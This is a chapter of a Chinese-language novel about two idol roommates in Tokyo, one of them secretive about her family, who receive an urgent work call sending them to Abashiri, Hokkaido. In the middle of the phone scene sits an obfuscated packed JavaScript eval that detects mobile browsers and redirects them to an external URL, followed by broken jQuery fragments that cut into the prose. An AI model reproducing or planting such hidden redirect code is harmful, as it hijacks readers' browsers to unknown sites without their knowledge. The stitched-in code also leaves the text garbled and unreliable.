公寓大堂温暖的光线柔和地洒下，将室外六本木夜晚的喧嚣与寒意彻底隔绝。光滑的大理石地面映出模糊的身影，空气中弥漫着中央空调送出的、带着淡淡香氛的暖风。星野的问题像欢快的雀鸟，围绕着突然变得神秘的室友打转，她的声音在空旷安静的大堂里显得格外清晰。
“那车真的是你的？中村先生是司机还是……？”星野的好奇心完全驱散了之前的复杂情绪，眼睛亮晶晶地看着林光，几乎忘了身体的疲惫。
林光按下电梯上行按钮，金属门无声滑开。她率先走进去，身影在镜面轿厢壁上显得有些疏离。听到问题，她似乎微微顿了一下，指尖在楼层按钮上停留了一瞬才按下“17”。电梯平稳上升带来的轻微失重感中，她侧过脸，嘴角噙着一丝极淡的、对于星野这种直白反应感到些许无奈的弧度。她太能理解星野的这份好奇，以至于就算是回答过一百遍的敷衍回答，此刻也变成了深思熟虑的含糊其辞。
“嗯，车确实是我自己的，不过不是你想的那样。”她选择了一个模糊的说法，目光没有直视星野，而是看着跳动的楼层数字，“中村先生……是我家里在日本的老员工，从我到日本的第一天开始，他就像叔叔一样照顾我的生活。”她省略了“安保”和“司机”这两个词，语气平静，却带着一种不易察觉的、希望话题就此打住的意味。
星野敏锐地捕捉到了这份微妙的回避。她看着林光映在镜中的侧脸，那上面没有什么表情，却并非冷漠，只是一种习惯性的保留。虽然此刻好奇心旺盛，但她也懂得适可而止，尤其是面对这位看似温和实则界限感极强的后辈。她眨了眨眼，把更多追问的话咽了回去，只是轻声了然，语气里残留着惊叹，但不再强求。“小光，你果然很厉害呢。”这句话更像是对自己猜测的总结，带着点调侃，也带着点理解。
电梯“叮”的一声到达楼层。林光似乎几不可察地松了口气，率先走出电梯。“不是你想的那样。”她再次轻描淡写地带过，侧身站在家门口，星野看她乖乖等待模样，这才回过神来，自己还没把从加藤那拿回来的钥匙给到自己的室友。
室内一片寂静，只有她们归来时自动亮起的几盏暖黄色壁灯，驱散了玄关的黑暗。空气中还残留着一点点早餐粥的温香和清洁剂的味道，与室外带回来的冷空气混合，形成一种既熟悉又陌生的气息。
“来，这是钥匙。”
“谢谢。”
“我可以先去洗吗？从酒吧出来的时候，外套沾了烟味。”星野甩掉高跟鞋，赤脚踩在微凉的地板上，一边说着一边揉着有些酸胀的脖子走向自己房间取换洗衣物，动作间还带着些许酒后的懒散。
“好。”林光应了一声。她看着星野的背影消失在走廊尽头，然后才轻轻关上门，将喧嚣彻底锁在门外。
巨大的寂静瞬间笼罩下来。
她独自站在玄关，静静听了片刻。很快，主卧浴室的方向传来了隐约的、淅淅沥沥的水声，像是隔了一层纱幕的雨，打破了绝对的安静，却又反而衬得这客厅更加空旷宁静。
林光这才真正松懈下来。她慢慢走到客厅中央，没有开主灯，任由壁灯和窗外都市的霓虹光影勾勒出家具模糊的轮廓。巨大的落地窗外，是璀璨如星河般的东京夜景，车流如光轨般穿梭不息，但那繁华却被厚厚的玻璃有效隔绝，只剩下无声的光影表演。
她在沙发上坐下，身体陷入柔软舒适的垫子里，发出一声几不可闻的叹息。皮革表面还残留着一点人体离去后的微温，不知是星野先前坐在这里留下的，还是错觉。她向后靠去，闭上眼睛，指尖轻轻按压着太阳穴。
家里…星野刚才的问题轻轻叩击着她的心扉。该怎么解释呢？解释那个庞大、复杂、充满了无形规则与过往阴霾的家族？解释中村先生并不仅仅是司机，更是舅舅放在她身边的保护者与监督者？解释那辆凯雷德所代表的、与她舞台上鼓手身份截然不同的另一个世界？……太麻烦了。而且，似乎也没有必要。她们只是…室友，以及暂时的“营业”伙伴。保持一点距离和神秘感，对彼此都好。
她睁开眼，目光没有焦点地落在天花板上。鼻腔里萦绕着星野刚刚使用的、某种带着果甜味的洗发水香气，混合着浴室飘来的湿润水汽，正慢慢渗透进客厅干燥的空气里。这味道与她身上惯有的、更偏清冷的雪松气息不同，带着一种温暖的侵入感，悄无声息地侵占着这个原本属于她一个人的空间。
星野夜海…林光在心底默念这个名字。像一颗突然闯入轨道的、过于明亮活跃的小行星，带着她无法理解的热情、直白、以及刚刚经历情伤的脆弱，不由分说地打破了她的平静。照顾醉鬼、水族馆、面对经纪人、应付朋友们的盘问、还有此刻这突如其来的同居生活……一切都发生得太快，让她有些应接不暇。
她并不是讨厌这种…热闹。只是习惯了一个人消化情绪，习惯用秩序和距离来构建安全感。星野的种种，对她而言，有点过于…鲜活和密集。
就在她的思绪有些飘远之时，放在身旁的手机屏幕突然亮了起来，发出一声清脆的邮件提示音，在这静谧的空间里显得格外突兀。几乎同时，星野房间里也隐约传来一声类似的提示音。
林光拿起手机，屏幕的光亮在昏暗环境中有些刺眼。发件人赫然是“山倉幸子”。
她微微蹙眉，这个时间点的工作邮件…通常意味着突发情况。
还没来得及点开细看，手机便直接在她手中震动起来，屏幕上跳跃的正是“山倉幸子”的名字。
林光立刻坐直身体，清了清嗓子，接通电话：“晚上好，山倉小姐。”
“井上小姐，晚上好。抱歉这么晚打扰。”电话那头传来经纪人干练而语速稍快的声音，背景里似乎还有细微的键盘敲击声，显示对方仍在工作，“看到我刚刚发的邮件了吗？”
“正在看，山倉小姐。”林光回答，同时快速滑动屏幕浏览邮件标题和开头几句。
“嗯。长话短说，一个原本定于新年后的北海道士網走市的旅游推广项目提前了，很突然。我们需要你们明天下午就出发，27号到29号，拍摄一个冬季旅游宣传短片。”幸子小姐的语气清晰果断，不容置疑。
“明天下午？”林光确认道，这个时间点确实非常紧急。
“对。原本的合作方和电视台档期有变，临时空出窗口期，对方很看好星野目前…呃，颇具话题度的形象，认为与冬季‘治愈’、‘重启’的主题有微妙契合点，点名希望由她来主导。机会难得，预算也充足，对我们重塑她的公众形象、展示积极健康的户外面貌很有帮助。”幸子小姐顿了顿，语气放缓了些，带上了一丝不易察觉的安抚，“而且，换个环境，远离东京的纷扰，对她恢复状态也有好处。所以虽然紧急，但我还是接下了。我相信你能处理好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403827|184388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我明白了。”林光应道，她的目光下意识地瞟向浴室方向，水声还在持续。她快速消化着信息：北海道、網走、冬季、紧急行程。
“具体的行程、机票信息、当地对接人都在邮件里了。明天上午的公式照拍摄照常，结束后我会让保姆车直接送你们去羽田机场。助理在机场等你们，到时候会有工作人员把登机牌和托运的行李标签给你们。可以的话防寒衣物务必带足，我也会为你们准备一些，網走现在温度极低，尤其是要拍摄看流冰的场景，体感温度会更冷。还有什么问题吗？”
“暂时没有，我们会准备好。”林光的声音恢复了平时的冷静。
“好。那就这样。让星野也别太有压力，就当是一次工作旅行。明天见。”幸子小姐雷厉风行地交代完，便结束了通话。
电话挂断，客厅里重新被淅沥的水声和寂静填满。林光放下手机，身体微微向后靠回沙发，消化着这个突如其来的消息。
北海道…網走…她脑海里闪过冰封的海岸线、流冰、凛冽的空气……与东京的繁华截然不同的景象。这确实是个意外的安排，但或许…也不错。离开熟悉的环境，或许能让她和星野之间这种略显微妙的新室友关系找到一个更自然的相处节奏。
她听到浴室水声停了。过了一会儿，星野擦着头发，穿着舒适的居家服，带着一身温热湿润的水汽和更浓郁的果甜香气走了出来，脸上带着沐浴后的放松红晕。
“小光，刚刚是不是我的手机也响了？好像是幸子小姐？”星野一边问着，一边拿起自己放在茶几上的手机。
“嗯。”林光点点头，看着她，“有个紧急的工作安排。幸子小姐刚来的电话，让我们明天下午去北海道網走，拍一个旅游宣传片。”
星野解锁手机的动作顿住了，惊讶地抬起头：“诶？！北海道……網走？明天下午就出发？”她瞪大了眼睛，似乎还在消化这个突如其来的消息。但很快，那丝惊讶被一种跃跃欲试的期待所取代，眼眸亮了起来，“流冰……我还没看过冬天的流冰呢！期待的出差旅行提前了吗？”旅行和新鲜事物总能轻易点燃她的兴趣，暂时覆盖掉那些积压的负面情绪。
“嗯，我们29号返回东京。”林光确认道，看到星野眼中亮起的光，心里那一点点因为行程匆忙而产生的躁动也似乎平复了些，“看来明天上午的公式照拍摄结束后，时间会很紧张。”她站起身，“抓紧时间休息吧，前辈。记得检查一下有没有足够的防寒衣物，網走这个时候，温度非常低。”她再次强调了温度，语气里带着务实的关切。
“对哦！得收拾行李！”星野被提醒了，立刻放下毛巾，也顾不上仔细看邮件了，脚步轻快地往自己房间走，“我的羽绒服……保暖内衣……雪地靴……防寒帽……”她掰着手指数着，声音里带着忙碌的兴奋，渐渐消失在房门后。
林光看着她的背影，轻轻摇了摇头，似乎对星野这种情绪转换速度有些无奈，却又觉得在意料之中。她没有立刻回房，而是重新拿起手机，仔细阅读幸子小姐发来的邮件附件，开始在心里默默规划明天的行程和需要准备的物品。
窗外是东京璀璨的不夜城景象，灯火绵延至远方。窗内，两个房间的门缝下都透出了光亮，一个伴随着哼歌和翻找衣物的细碎声响，另一个则安静地闪烁着屏幕的微光，共同为一场突如其来的、前往北海道的冬日之旅酝酿着默契的期待。